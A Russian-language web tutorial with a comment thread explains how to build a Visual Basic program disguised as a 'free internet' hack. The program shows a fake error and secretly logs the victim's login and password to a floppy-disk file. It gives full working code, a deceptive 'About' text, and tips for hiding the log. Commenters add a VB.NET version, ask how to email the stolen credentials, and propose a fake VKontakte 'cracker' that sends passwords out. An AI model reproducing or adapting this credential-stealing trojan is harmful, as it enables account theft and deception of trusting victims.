Программирование
Веб программирование

Развод ламеров. Халявный инет на Visual Basic

 
 

Вся радость в том, что ламер будет думать что он дурит провайдера, а на самом деле будут дурить его. Хе - Хе. Ламер сам напишет тебе пароль, и скинет тебе его на дискету. Ты дашь ему программу, и скажешь, что эта программа нужна для того чтоб в инете на халяву сидеть. Он спросит: “ а у тебя получилось", ты ему скажешь: "Да, конешно работает, а если не работала, то я тебе ее не дал бы"... Ну для большей убедительности расскажешь ему о ней (речь сам придумаешь). Он впишет свой пароль и логин, и комп сохранит их на дискету. Учитывается то, что ламер будет вводить в начале не свой пароль, но это неважно, когда - нибуть он свой введет, и все его записи сохранятся на дискете, потом ты придешь домой, проверишь все его записи, и по какой - нибуть войдешь.
Ну что начнем? На форму кидаем 2 кнопки,2 текстовых поля,3 метки, ну и сделаем меню для большей убедительности. У первой кнопки свойство Caption будет Ввод, у второй Выход; у текстовых полей убираем свойство Text; у первой метки свойство Caption будет Password, у второй Login, а у 3 Халявный Интернет; у меню сделаем 2 раздела, первый раздел по традиции свойство Caption будет файл, а у второго Справка. У первого раздела первого подраздела свойство Caption будет выход, а у второго раздела, первого подраздела свойство Caption будет Вызов справки, а у второго подраздела О программе. Да чуть не забыл, нам надо добавить еще одну форму, для этого нажми на Add Form, эта фенька находится около кнопки создание меню, под разделом Edit. Короче у тебя должна получиться такая штука:

Private Sub Command1_Click() 'При нажатии на кнопку Ввод:
MsgBox "Не установлено соединение или неправильно введен пароль", 48, "Ошибка при соединение" 'Появится ошибка, с сообщением о неправильных действиях ламера, если ламер введет не правильный (или правильный) пароль и логин, то появится ошибка, и когда - нибуть он введет правильный...
d = FreeFile
Open "a:1.txt" For Append As d 'Открываем файл для записи, в него будут записываться данные ламера. Стоит диск a:, это для того чтоб привязать программу к дискете, и тогда ламер не сможет скинуть ее себе на комп, и когда он отдаст тебе дискету, ты прочтешь все его записи.
Print #d, Text1.Text; Tab; Text2.Text 'Записываем данные, которые ламер введет в текстовые поля
Close #d 'Закрываем файл
End Sub

Private Sub Command2_Click() 'При нажатии на кнопку 2:
End 'Выходим из программы, можно и с помощью Unload Me
End Sub
Private Sub ав_Click()
End 'При выборе Файл/Выход программа отрубается:
End Sub

Private Sub см_Click() 'При нажатии на кнопку 3(О программе):
Form2.Show 'Показываем Form2
End Sub

Теперь займемся оформлением Формы 2.На форму 2 закинем 4 метки: У первой свойство Caption будет О программе. У второй будет: "Программа ломает твоего провайдера, через порт TCP/IP; за каждый заход тебе на карту зачисляется 0.25 y.e., это оптимальная сумма для всех карт. Например, у MTU можно снять за раз 0.27 y.e., а у ROL 0.33 y.e., это зависит от скорости обновления сервера. После нажатия на Ввод появится сообщение о успешном взломе, и в течение 3 минут постарайтесь выйти из интернета. Где - то через 10 - 15 мин. опять можете повторять операцию.". У третьей: "Автор проекта не несет ни какой ответственности за использование программы", и эту метку надо сделать красным цветом. У четвертой: "Дата создания: 10/07/02".У пятой: "Автор: Падре". Все это нужно для большей убедительности. У тебя должна получиться такая фенька.

Ну вот и все!!! Теперь подсунь ее какому - нибуть ламеру. Не забудь скрыть текстовой файл, можешь поменять ему расширения, например записать не 1.txt, 1.lamer, и тогда ламер не додумается его открыть, даже если его найдет. А ты сможешь открыть его, если кликнешь на него два раза, и в открывшимся окне "Открыть с помощью", выбери Noterpad(Блокнот)

Исходник можешь скачать отсюда


Есть вопросы? Спроси на нашем форуме!!
Денис [27.11.2010 17:20]

Не, так не прикольно, надо чтоб логин с паролем на мыло отсылался XD

ObelardO [21.12.2010 12:37]

я намного изящней сделал

никита [02.01.2011 00:39]

как сделать что бы логин с паролем отправлялись на мыло ?

Влад [08.01.2011 12:44]

Не не, даже если на мыло, то не кто не поведётся на такое, ну только закоренелый ламер =)

Гость [17.03.2011 16:12]

у меня с соседом локальная сеть,создал что то на подобее такого же,только с паролем на вход в систему,и ещё кое что надо было,и просто все что он писал сохранялось в сетевое окружение в общую папку,после чего я от туда всё забрал,можно сделать ещё БОЛЕЕ легче,и вообще нет палева)

acerraviexima [23.04.2011 23:59]

Благодатный огонь снизошел!

Apple [30.04.2011 13:16]

Круто, работает! Если только над кодом поработать. Уже не одного я так взломал.

acerraviexima [09.05.2011 18:44]

Сердечно поздравляю Вас с Днем Победы! Воистину – это великий праздник!

Вероничка [19.05.2011 15:50]

О господи!!!Где ж я найду настолько тупого человека в наши дни то....?А вот то что сохраняеться всё...вот это то и надо люди блин запоминать)))а нуда..дискеты...сайт пдц деревний)но простой и понятный....

padre03 [19.05.2011 19:29]

Учебник писался когда я сам еще в школе учился ))
Тогда вирусы на дискетах был самый пик ))

gor [27.05.2011 23:26]

видимо в школе ты учился очень давно ))

padre03 [27.05.2011 23:30]

ага, давно, я 87-года рождения

padre03 [27.05.2011 23:34]

Судя по дате мне тогда было 12-13 лет??

Exalayastesty [02.06.2011 00:26]

Дорогу осилит идущий. Авторам сайта удачи и дальнейших успехов!

Юрий [18.06.2011 17:28]

Мой друг раскрыл злой замысел! Доверчивых сейчас меньше!

лёлик первый [27.07.2011 19:27]

когда я познакомиля с эвм этот прикол еще работал))))

Даня [29.09.2011 17:39]

Если вы думаете что нет таких придурков?-Есть и много: дал другу со двора(13 лет, думает что у меня есть подземноя лаборатория, нанокостьюм и полно всякой фигни) через день спокойно забрал флешку -так он мне ещё и спасибо сказал!!

][DarKkNighT][ [24.11.2011 10:47]

а можно все это дело сварганить на VBscript

ХЛТВ [09.01.2012 00:37]

Админы еба прога ваще четкая ток это редактируйте малехо вы обьясните куда сохраняет))ато я ток через 5 мин вьехал))) пишите обьясните а: - это дискета

алексей [09.01.2012 11:21]

можно куда угодно сохранить .
в базу данных,в тхт и т.д.

ХЛТВ [09.01.2012 18:44]

алексей, я уже понял)) я просто в ВБ работаю меньше месяца))

Антон [01.03.2012 16:12]

А можно сделать так что бы файл ТХТ сохранялся в отдельный папку, и как?

Юра (Shade) [01.03.2012 18:41]

Dim f As Long
f=FreeFile
Open ("C:\1.txt") For Output as #f
Print #f, Text1.text
close #f

Гость [19.03.2012 00:22]

Идея хорошая, но к сожалению в современных условиях маловыполнимая.
У многих сейчас интернет ADSL/3G/кабельный, а дискеты и дисководы сейчас фиг найдешь, к тому же на многих новых компьютерах (с 2008 года) разьем для подключения дискет отсутствует.

Лучше всего эту идею реализовать на примере социальных сете

Гость [19.03.2012 00:24]

й, ICQ, а вместо отправки на дискету использовать адрес электронной почты.

Например, пишешь прогу, называешь ее Взломщик VKontakte и добавляешь в проге текстовые поля и надпись, мол "эта программа позволяет смотреть скрытые страницы", и встраиваешь в программу функцию отправки на заданный адрес электронной почты.

Release [19.03.2012 06:55]

На Vb.Net это сделать проще.

EverybodyLies [12.07.2012 21:37]

Release, а смысл?)

Release [12.07.2012 21:50]

Смысл в том, что такое сварганить можно одной строчкой кода) Логин и Пасс посылать на сниффер)

mihadich [18.07.2012 21:04]

А как сделать такое-же на vb 2010?

Release [18.07.2012 21:10]

ds-release.ru/sozdaem-fejk-na-visual-basic-s-otchetom-na-smtp/ или так ds-release.ru/videofejk-s-otchetom-na-sniffer/

Nicat [12.08.2012 14:13]

А у кого будет этот файл и где хранитья я чет н е понял обьясните а

User [26.09.2012 06:18]

ХЛТВ

"a:" - дискета по умолчанию))

для записи в файл [30.09.2012 14:41]

Public Class Form1
Dim w As String
Private Sub Button1Click(sender As Object, e As EventArgs) Handles Button1.Click
w = TextBox1.Text
MsgBox("Не установлено соединение или неправильно введен пароль", 48, "Ошибка при соединение") My.Computer.FileSystem.WriteAllText("D:1.txt", w, True)
End Sub
Private Sub Button2
Click(sender As Object, e As EventArgs) Handles Button2.Click
End
End Sub
End Class

Under Dog™ [01.12.2012 14:56]

написал программу для кражи пароля от вк.сом, как мне сделать чтобы была отправка логина;пароля на мыло?!

Stertor370 [29.10.2014 20:54]

Какой наивный троян ;) Требую причислить автора к лику святых.

66demon66610 [03.11.2014 18:53]

Мда. Мало того что опозоришься так и посадить могут...



Оставлять комментарии можно только зарегистрированным




Предупреждение: Вся информация представлена исключительно в образовательных целях.
Ни авторы, ни администрация не несут ответственности в случае ее использования в противозаконных целях.